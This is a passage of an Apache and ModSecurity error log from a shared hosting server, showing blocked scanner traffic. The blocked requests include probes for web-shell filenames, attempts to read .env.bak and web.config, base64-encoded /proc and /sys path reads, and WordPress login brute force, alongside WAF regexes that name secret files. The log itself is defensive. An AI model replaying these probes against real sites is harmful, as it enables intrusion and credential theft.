[client 20.151.217.54:17056] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/spawns.php"] [unique_id "ai3xI8TA7b1mZrmcA-8YHwAAAiY"] [Sat Jun 13 18:09:07.193230 2026] [access_compat:error] [pid 531155:tid 531200] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDc= [Sat Jun 13 18:09:07.193533 2026] [access_compat:error] [pid 531155:tid 531200] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDc= [Sat Jun 13 18:09:07.277463 2026] [security2:error] [pid 531155:tid 531257] [remote 17.246.19.178:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 178.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xIymiP80klyS0NnrviQABDWU"] [Sat Jun 13 18:09:07.323393 2026] [access_compat:error] [pid 531155:tid 531267] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2N3ZA== [Sat Jun 13 18:09:07.323678 2026] [access_compat:error] [pid 531155:tid 531267] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2N3ZA== [Sat Jun 13 18:09:07.397362 2026] [access_compat:error] [pid 531155:tid 531163] [remote 57.141.14.73:60012] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:07.397681 2026] [access_compat:error] [pid 531155:tid 531163] [remote 57.141.14.73:60012] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:07.514728 2026] [security2:error] [pid 531155:tid 531263] [remote 17.241.227.229:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 229.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xIymiP80klyS0NnrvmwABJWs"] [Sat Jun 13 18:09:07.603888 2026] [access_compat:error] [pid 531797:tid 531939] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzA3MDkzL2N3ZA== [Sat Jun 13 18:09:07.604222 2026] [access_compat:error] [pid 531797:tid 531939] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzA3MDkzL2N3ZA== [Sat Jun 13 18:09:07.616127 2026] [core:error] [pid 531797:tid 532031] [client 47.79.207.113:9422] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:09:07.616153 2026] [core:error] [pid 531797:tid 532031] [client 47.79.207.113:9422] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:09:07.701914 2026] [security2:error] [pid 531155:tid 531308] [client 20.151.217.54:17081] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/dragonshell.php"] [unique_id "ai3xIymiP80klyS0NnrvoQAAASE"] [Sat Jun 13 18:09:07.708135 2026] [access_compat:error] [pid 531155:tid 531199] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:09:07.708398 2026] [access_compat:error] [pid 531155:tid 531199] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:09:07.817594 2026] [access_compat:error] [pid 531155:tid 531162] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2N3ZA== [Sat Jun 13 18:09:07.817980 2026] [access_compat:error] [pid 531155:tid 531162] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2N3ZA== [Sat Jun 13 18:09:07.837184 2026] [access_compat:error] [pid 531797:tid 531890] [remote 57.141.14.24:53334] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:07.837468 2026] [access_compat:error] [pid 531797:tid 531890] [remote 57.141.14.24:53334] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:07.839792 2026] [security2:error] [pid 531797:tid 531950] [remote 87.106.70.198:41660] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 198.70.106.87.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "scholarsofsharlayan.com"] [uri "/wp-login.php"] [unique_id "ai3xI8TA7b1mZrmcA-8YMAACVFY"], referer: https://scholarsofsharlayan.com/wp-login.php [Sat Jun 13 18:09:07.866333 2026] [security2:error] [pid 531797:tid 532005] [client 91.92.42.86:38410] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "guu.rog.mybluehost.me"] [uri "/db.php"] [unique_id "ai3xI8TA7b1mZrmcA-8YMQAAAh0"], referer: http://guu.rog.mybluehost.me/ [Sat Jun 13 18:09:07.994451 2026] [security2:error] [pid 531155:tid 531407] [client 20.151.217.54:17071] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/samll.php"] [unique_id "ai3xIymiP80klyS0NnrvqgAAAYQ"] [Sat Jun 13 18:09:08.013017 2026] [security2:error] [pid 531797:tid 532065] [client 91.92.42.86:38454] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "guu.rog.mybluehost.me"] [uri "/database.php"] [unique_id "ai3xJMTA7b1mZrmcA-8YPgAAAlc"], referer: http://guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.013078 2026] [security2:error] [pid 531797:tid 532051] [client 91.92.42.86:38448] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.guu.rog.mybluehost.me"] [uri "/db.php"] [unique_id "ai3xJMTA7b1mZrmcA-8YPQAAAkk"], referer: http://autodiscover.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.021170 2026] [security2:error] [pid 531797:tid 532086] [client 91.92.42.86:38420] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "guu.rog.mybluehost.me"] [uri "/settings.php"] [unique_id "ai3xJMTA7b1mZrmcA-8YPwAAAmw"], referer: http://guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.037594 2026] [security2:error] [pid 531797:tid 532004] [client 91.92.42.86:38460] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "autodiscover.guu.rog.mybluehost.me"] [uri "/.env.bak"] [unique_id "ai3xJMTA7b1mZrmcA-8YQgAAAhw"], referer: http://autodiscover.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.068639 2026] [security2:error] [pid 531797:tid 532016] [client 191.234.188.123:32535] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/mamzi.php"] [unique_id "ai3xJMTA7b1mZrmcA-8YRQAAAig"] [Sat Jun 13 18:09:08.070914 2026] [security2:error] [pid 531155:tid 531389] [client 91.92.42.86:38482] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "autodiscover.guu.rog.mybluehost.me"] [uri "/web.config"] [unique_id "ai3xJCmiP80klyS0NnrvsQAAAXI"], referer: http://autodiscover.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.105891 2026] [security2:error] [pid 531797:tid 532045] [client 91.92.42.86:38516] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.guu.rog.mybluehost.me"] [uri "/database.php"] [unique_id "ai3xJMTA7b1mZrmcA-8YSwAAAkQ"], referer: http://autodiscover.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.114699 2026] [security2:error] [pid 531155:tid 531400] [client 91.92.42.86:38542] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.guu.rog.mybluehost.me"] [uri "/settings.php"] [unique_id "ai3xJCmiP80klyS0NnrvtAAAAX0"], referer: http://autodiscover.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.128358 2026] [security2:error] [pid 531797:tid 531968] [remote 5.65.171.50:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3xJMTA7b1mZrmcA-8YSAACY2c"], referer: https://www.torquayfans.com [Sat Jun 13 18:09:08.128390 2026] [security2:error] [pid 531797:tid 531968] [remote 5.65.171.50:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3xJMTA7b1mZrmcA-8YSAACY2c"], referer: https://www.torquayfans.com [Sat Jun 13 18:09:08.168397 2026] [security2:error] [pid 531797:tid 532120] [client 191.234.188.123:48085] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/7gt.php"] [unique_id "ai3xJMTA7b1mZrmcA-8YUQAAAow"] [Sat Jun 13 18:09:08.213263 2026] [access_compat:error] [pid 531797:tid 531962] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L2N3ZA== [Sat Jun 13 18:09:08.213538 2026] [access_compat:error] [pid 531797:tid 531962] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L2N3ZA== [Sat Jun 13 18:09:08.250023 2026] [access_compat:error] [pid 531155:tid 531241] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9wb3dlcg== [Sat Jun 13 18:09:08.250294 2026] [access_compat:error] [pid 531155:tid 531241] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9wb3dlcg== [Sat Jun 13 18:09:08.308642 2026] [security2:error] [pid 531797:tid 532008] [client 91.92.42.86:12740] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "guu.rog.mybluehost.me"] [uri "/.env.bak"] [unique_id "ai3xJMTA7b1mZrmcA-8YXQAAAiA"], referer: http://guu.rog.mybluehost.me/.env.bak [Sat Jun 13 18:09:08.322700 2026] [access_compat:error] [pid 531155:tid 531240] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:09:08.323168 2026] [access_compat:error] [pid 531155:tid 531240] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:09:08.353800 2026] [security2:error] [pid 531155:tid 531336] [client 172.171.3.232:64697] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/xozx.php"] [unique_id "ai3xJCmiP80klyS0NnrvwQAAAT0"] [Sat Jun 13 18:09:08.369953 2026] [security2:error] [pid 531797:tid 532117] [client 91.92.42.86:38590] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "cpanel.guu.rog.mybluehost.me"] [uri "/___proxy_subdomain_cpanel/web.config"] [unique_id "ai3xJMTA7b1mZrmcA-8YYAAAAoo"], referer: http://cpanel.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.378194 2026] [security2:error] [pid 531155:tid 531411] [client 91.92.42.86:38616] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "cpanel.guu.rog.mybluehost.me"] [uri "/___proxy_subdomain_cpanel/.env.bak"] [unique_id "ai3xJCmiP80klyS0NnrvxAAAAYg"], referer: http://cpanel.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.379473 2026] [security2:error] [pid 531155:tid 531296] [client 91.92.42.86:38622] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.guu.rog.mybluehost.me"] [uri "/database.php"] [unique_id "ai3xJCmiP80klyS0NnrvxQAAARU"], referer: http://cpanel.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.464765 2026] [security2:error] [pid 531797:tid 532067] [client 91.92.42.86:38638] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.guu.rog.mybluehost.me"] [uri "/settings.php"] [unique_id "ai3xJMTA7b1mZrmcA-8YZwAAAlk"], referer: http://cpanel.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.475347 2026] [security2:error] [pid 531797:tid 532074] [client 91.92.42.86:12750] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "guu.rog.mybluehost.me"] [uri "/web.config"] [unique_id "ai3xJMTA7b1mZrmcA-8YagAAAmA"], referer: http://guu.rog.mybluehost.me/web.config [Sat Jun 13 18:09:08.503499 2026] [security2:error] [pid 531155:tid 531396] [client 91.92.42.86:38662] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.guu.rog.mybluehost.me"] [uri "/db.php"] [unique_id "ai3xJCmiP80klyS0NnrvzAAAAXk"], referer: http://cpanel.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.564257 2026] [security2:error] [pid 531155:tid 531230] [remote 17.241.75.87:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 87.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xJCmiP80klyS0Nnrv0QABfEo"] [Sat Jun 13 18:09:08.690895 2026] [access_compat:error] [pid 531797:tid 531886] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvMzMxMTQ5L2N3ZA== [Sat Jun 13 18:09:08.691344 2026] [access_compat:error] [pid 531797:tid 531886] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvMzMxMTQ5L2N3ZA== [Sat Jun 13 18:09:08.782201 2026] [access_compat:error] [pid 531797:tid 531963] [remote 57.141.14.102:63513] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:08.782571 2026] [access_compat:error] [pid 531797:tid 531963] [remote 57.141.14.102:63513] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:08.786200 2026] [security2:error] [pid 531797:tid 532096] [client 91.92.42.86:38668] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.guu.rog.mybluehost.me"] [uri "/database.php"] [unique_id "ai3xJMTA7b1mZrmcA-8YdwAAAnU"], referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:08.792502 2026] [access_compat:error] [pid 531155:tid 531278] [remote 57.141.14.98:34978] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:08.792804 2026] [access_compat:error] [pid 531155:tid 531278] [remote 57.141.14.98:34978] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:08.801039 2026] [proxy:error] [pid 531155:tid 531383] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:08.801123 2026] [proxy_http:error] [pid 531155:tid 531383] [client 91.92.42.86:38682] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: 